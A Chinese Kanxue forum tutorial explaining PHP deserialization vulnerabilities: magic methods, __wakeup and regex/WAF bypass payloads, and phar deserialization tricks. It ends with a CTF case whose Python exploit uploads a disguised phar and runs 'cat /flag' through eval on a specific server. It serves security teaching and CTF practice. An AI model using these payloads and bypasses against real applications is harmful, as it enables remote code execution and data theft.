本文为看雪论坛优秀文章
看雪论坛作者ID:pank1s
一
简介
序列化其实就是将数据转化成一种可逆的数据结构,自然,逆向的过程就叫做反序列化。简单来说就是我在一个地方构造了一个类,但我要在另一个地方去使用它,那怎么传过去呢?于是就想到了序列化这种东西,将对象先序列化为一个字符串(数据),后续需要使用的时候再进行反序列化即可得到要使用的对象,十分方便。
来看看官方手册(https://www.php.net/manual/zh/language.oop5.serialization.php)怎么说:
所有php里面的值都可以使用函数serialize()(https://www.php.net/manual/zh/function.serialize.php)来返回一个包含字节流的字符串来表示。unserialize()(https://www.php.net/manual/zh/function.unserialize.php)函数能够重新把字符串变回php原来的值。 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。
为了能够unserialize()一个对象,这个对象的类必须已经定义过。如果序列化类A的一个对象,将会返回一个跟类A相关,而且包含了对象所有变量值的字符串。 如果要想在另外一个文件中反序列化一个对象,这个对象的类必须在反序列化之前定义,可以通过包含一个定义该类的文件或使用函数spl_autoload_register()(https://www.php.net/manual/zh/function.spl-autoload-register.php)来实现。
php 将数据序列化和反序列化会用到两个函数:
序列化的目的是方便数据的传输和存储,在PHP中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。
注意:php中创建一个对象和反序列化得到一个对象是有所不同的,例如创建一个对象一般会优先调用 __construct() 方法 ,而反序列化得到一个对象若 存在 __wakeup() 方法则会优先调用它而不去执行 __construct() 。
二
常见序列化格式介绍
基本上每个编程语言都有各自的序列化和反序列化方式,格式也各不相同
像有:
二进制格式 字节数组 json字符串 xml字符串 python的opCode码 参考( https://xz.aliyun.com/t/7436 )
简单例子
<?php$arr = array(\'aa\', \'bb\', \'cc\' => \'dd\');$serarr = serialize($arr);echo $serarr;var_dump($arr);
a:3:{i:0;s:2:\"aa\";i:1;s:2:\"bb\";s:2:\"cc\";s:2:\"dd\";}array(3) {[0]=> string(2) \"aa\"[1]=> string(2) \"bb\"[\"cc\"]=> string(2) \"dd\"}
<?phpclass test {protected $name;private $pass;function __construct($name, $pass) {$this->name = $name;$this->pass = $pass;}}$a = new test(\'pankas\', \'123\');$seria = serialize($a);echo $seria.\'<br/>\';echo urlencode($seria);
O:4:\"test\":2:{s:7:\"*name\";s:6:\"pankas\";s:10:\"testpass\";s:3:\"123\";}O%3A4%3A%22test%22%3A2%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A6%3A%22pankas%22%3Bs%3A10%3A%22%00test%00pass%22%3Bs%3A3%3A%22123%22%3B%7D
三
反序列化常用魔术方法
__construct()//类的构造函数,创建类对象时调用__destruct()//类的析构函数,对象销毁时调用__call()//在对象中调用一个不可访问方法时调用__callStatic()//用静态方式中调用一个不可访问方法时调用__get()//获得一个类的成员变量时调用__set()//设置一个类的成员变量时调用__isset()//当对不可访问属性调用isset()或empty()时调用__unset()//当对不可访问属性调用unset()时被调用。__sleep()//执行serialize()时,先会调用这个函数__wakeup()//执行unserialize()时,先会调用这个函数,执行后不会执行__construct()函数__toString()//类被当成字符串时的回应方法__invoke()//调用函数的方式调用一个对象时的回应方法__set_state()//调用var_export()导出类时,此静态方法会被调用。__clone()//当对象复制完成时调用__autoload()//尝试加载未定义的类__debugInfo()//打印所需调试信息
四
各种绕过姿势
绕过__wakeup(CVE-2016-7124)
<?phpclass test{public $a;public function __construct(){$this->a = \'abc\';}public function __wakeup(){$this->a=\'def\';}public function __destruct(){echo $this->a;}}
__destruct()相关
主动调用unset($obj) 主动调用$obj = NULL 程序自动结束
$a = new test();new test();$a = new test();$a = 1;
<?phpclass test{function __construct($i) {$this->i = $i; }function __destruct() { echo $this->i.\"Destroy...\\n\"; }}new test(\'1\');$a = new test(\'2\');$a = new test(\'3\');echo \"————————————<br/>\";
1Destroy...2Destroy...————————————3Destroy...
<?phpclass test {function __destruct(){echo \'success!!\';}}if(isset($_REQUEST[\'input\'])) {$a = unserialize($_REQUEST[\'input\']);throw new Exception(\'lose\');}
class test {}$a = serialize(array(new test, null));echo $a.\'<br/>\';$a = str_replace(\':1\', \':0\', $a);//将序列化的数组下标为0的元素给为nullecho $a;
a:2:{i:0;O:4:\"test\":0:{}i:1;N;}a:2:{i:0;O:4:\"test\":0:{}i:0;N;}//最终payload
绕过正则
利用加号绕过(注意在url里传参时+要编码为%2B)。 利用数组对象绕过,如 serialize(array($a)); a为要反序列化的对象(序列化结果开头是a,不影响作为数组元素的$a的析构)。
<?phpclass test{public $a;public function __construct(){$this->a = \'abc\';}public function __destruct(){echo $this->a.PHP_EOL;}}function match($data){if (preg_match(\'/^O:\\d+/\',$data)){die(\'nonono!\');}else{return $data;}}$a = \'O:4:\"test\":1:{s:1:\"a\";s:3:\"abc\";}\';// +号绕过$b = str_replace(\'O:4\',\'O:+4\', $a);unserialize(match($b));// 将对象放入数组绕过 serialize(array($a));unserialize(\'a:1:{i:0;O:4:\"test\":1:{s:1:\"a\";s:3:\"abc\";}}\');
利用引用绕过
<?phpclass test {public $a;public $b;public function __construct(){$this->a = \'aaa\';}public function __destruct(){if($this->a === $this->b) {echo \'you success\';}}}if(isset($_REQUEST[\'input\'])) {if(preg_match(\'/aaa/\', $_REQUEST[\'input\'])) {die(\'nonono\');}unserialize($_REQUEST[\'input\']);}else {highlight_file(__FILE__);}
class test {public $a;public $b;public function __construct(){$this->b = &$this->a;}}$a = serialize(new test());echo $a;//O:4:\"test\":2:{s:1:\"a\";N;s:1:\"b\";R:2;}
16进制绕过字符的过滤
<?phpclass test{public $username;public function __construct(){$this->username = \'admin\';}public function __destruct(){echo \'success\';}}function check($data){if(preg_match(\'/username/\', $data)){echo(\"nonono!!!</br>\");}else{return $data;}}// 未作处理前,会被waf拦截$a = \'O:4:\"test\":1:{s:8:\"username\";s:5:\"admin\";}\';$a = check($a);unserialize($a);// 将小s改为大S; 做处理后 \\75是u的16进制, 成功绕过$a = \'O:4:\"test\":1:{S:8:\"\\\\75sername\";s:5:\"admin\";}\';$a = check($a);unserialize($a);
五
phar反序列化
前言
生成phar
<?phpclass TestObject {}@unlink(\"phar.phar\");$phar = new Phar(\"phar.phar\"); //后缀名必须为phar$phar->startBuffering();$phar->setStub(\"<?php __HALT_COMPILER(); ?>\"); //设置stub$o = new TestObject();$phar->setMetadata($o); //将自定义的meta-data存入manifest$phar->addFromString(\"test.txt\", \"test\"); //添加要压缩的文件//签名自动计算$phar->stopBuffering();
一些绕过方式
当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://等绕过。
compress.bzip://phar:///test.phar/test.txtcompress.bzip2://phar:///test.phar/test.txtcompress.zlib://phar:///home/sx/test.phar/test.txt
也可以利用其它协议, 如 filter 过滤器。
php://filter/read=convert.base64-encode/resource=phar://phar.pharGIF格式验证可以通过在文件头部添加GIF89a绕过。
$phar->setStub(“GIF89a”.\"<?php __HALT_COMPILER(); ?>\"); //设置stub//生成一个phar.phar,修改后缀名为phar.gif
过滤了__HALT_COMPILER();
参考 https://guokeya.github.io/post/uxwHLckwx (原理)
姿势1:
**将phar文件进行gzip压缩** ,使用压缩后phar文件同样也能反序列化 (常用)linux下使用命令gzip phar.phar 生成。
姿势2:
将phar的内容写进压缩包注释中,也同样能够反序列化成功,压缩为zip也会绕过$phar_file = serialize($exp);echo $phar_file;$zip = new ZipArchive();$res = $zip->open(\'1.zip\',ZipArchive::CREATE);$zip->addFromString(\'crispr.txt\', \'file content goes here\');$zip->setArchiveComment($phar_file);$zip->close();
phar 文件签名修改
from hashlib import sha1with open(\'phar.phar\', \'rb\') as file:f = file.read() # 修改内容后的phar文件,以二进制文件形式打开s = f[:-28] # 获取要签名的数据(对于sha1签名的phar文件,文件末尾28字节为签名的格式)h = f[-8:] # 获取签名类型以及GBMB标识,各4个字节newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)with open(\'newPhar.phar\', \'wb\') as file:file.write(newf) # 写入新文件
案例
<?phpclass LoveNss{public $ljt;public $dky;public $cmd;public function __construct(){//__wakeup执行后__construct并不会执行$this->ljt=\"ljt\";$this->dky=\"dky\";phpinfo();}public function __destruct(){if($this->ljt===\"Misc\"&&$this->dky===\"Re\")eval($this->cmd);}public function __wakeup(){//需要绕过__wakeup,更改序列化属性个数即可绕过$this->ljt=\"Re\";$this->dky=\"Misc\";}}$file=$_POST[\'file\'];if(isset($_POST[\'file\'])){if (preg_match(\"/flag/i\", $file)) {die(\"nonono\");}echo file_get_contents($file);}
<?phpif ($_FILES[\"file\"][\"error\"] > 0){echo \"上传异常\";}else{$allowedExts = array(\"gif\", \"jpeg\", \"jpg\", \"png\");$temp = explode(\".\", $_FILES[\"file\"][\"name\"]);$extension = end($temp);if (($_FILES[\"file\"][\"size\"] && in_array($extension, $allowedExts))){$content=file_get_contents($_FILES[\"file\"][\"tmp_name\"]);$pos = strpos($content, \"__HALT_COMPILER();\");//ban掉了明文的stub标识if(gettype($pos)===\"integer\"){echo \"ltj一眼就发现了phar\";}else{if (file_exists(\"./upload/\" . $_FILES[\"file\"][\"name\"])){echo $_FILES[\"file\"][\"name\"] . \" 文件已经存在\";}else{$myfile = fopen(\"./upload/\".$_FILES[\"file\"][\"name\"], \"w\");fwrite($myfile, $content);fclose($myfile);echo \"上传成功 ./upload/\".$_FILES[\"file\"][\"name\"];}}}else{echo \"dky不喜欢这个文件 .\".$extension;}}?>
<?phpclass LoveNss{public $ljt;public $dky;public $cmd;public function __construct($ljt, $dky, $cmd){$this->ljt = $ljt;$this->dky = $dky;$this->cmd = $cmd;}}@unlink(\"phar.phar\");$phar = new Phar(\"phar.phar\"); //后缀名必须为phar$phar->startBuffering();$phar->setStub(\"<?php __HALT_COMPILER(); ?>\"); //设置stub$o = new LoveNss(\"Misc\", \"Re\", \"cat /flag\");$phar->setMetadata($o); //将自定义的meta-data存入manifest$phar->addFromString(\"test.txt\", \"test\"); //添加要压缩的文件//签名自动计算$phar->stopBuffering();
import requestsfrom hashlib import sha1import gzipimport redef getPhar():with open(\'phar.phar\', \'rb\') as file:f = file.read()s = f[:-28] # 获取要签名的数据(对于sha1签名的phar文件,文件末尾28字节为签名的格式)s = s.replace(b\'3:{\', b\'4:{\')# 绕过__wakeuph = f[-8:] # 获取签名类型以及GBMB标识,各4个字节newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)return gzip.compress(newf)# 进行gzip压缩def upload(file):burp0_url = \"http://1.14.71.254:28403/upload.php\"burp0_headers = {\"Cache-Control\": \"max-age=0\", \"Upgrade-Insecure-Requests\": \"1\", \"Origin\": \"http://1.14.71.254:28403\", \"Content-Type\": \"multipart/form-data; boundary=----WebKitFormBoundaryfXBfemuGHEVNBhN8\", \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36\", \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\", \"Referer\": \"http://1.14.71.254:28403/\", \"Accept-Encoding\": \"gzip, deflate\", \"Accept-Language\": \"zh-CN,zh;q=0.9\", \"Connection\": \"close\"}burp0_data = b\"------WebKitFormBoundaryfXBfemuGHEVNBhN8\\r\\nContent-Disposition: form-data; name=\\\"file\\\"; filename=\\\"phar.jpg\\\"\\r\\nContent-Type: image/jpeg\\r\\n\\r\\n\" + file + b\"\\r\\n------WebKitFormBoundaryfXBfemuGHEVNBhN8\\r\\nContent-Disposition: form-data; name=\\\"submit\\\"\\r\\n\\r\\n\\r\\n------WebKitFormBoundaryfXBfemuGHEVNBhN8--\\r\\n\"# 注意数据类型为byte类型,应该file为byte类型,相同数据类型才能合并requests.post(burp0_url, headers=burp0_headers, data=burp0_data)def getFlag():burp0_url = \"http://1.14.71.254:28403/\"burp0_headers = {\"Pragma\": \"no-cache\", \"Cache-Control\": \"no-cache\", \"Upgrade-Insecure-Requests\": \"1\", \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36\", \"Origin\": \"http://1.14.71.254:28403\", \"Content-Type\": \"application/x-www-form-urlencoded\", \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\", \"Referer\": \"http://1.14.71.254:28403/\", \"Accept-Encoding\": \"gzip, deflate\", \"Accept-Language\": \"zh-CN,zh;q=0.9\", \"Connection\": \"close\"}burp0_data = {\"file\": \"phar://./upload/phar.jpg/test.txt\", \"submit\": \'\'}res = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)return re.findall(\'(NSSCTF\\{.*?\\})\', res.text)[0]if __name__ == \'__main__\':upload(getPhar())print(getFlag())
看雪ID:pank1s
https://bbs.kanxue.com/user-home-952339.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!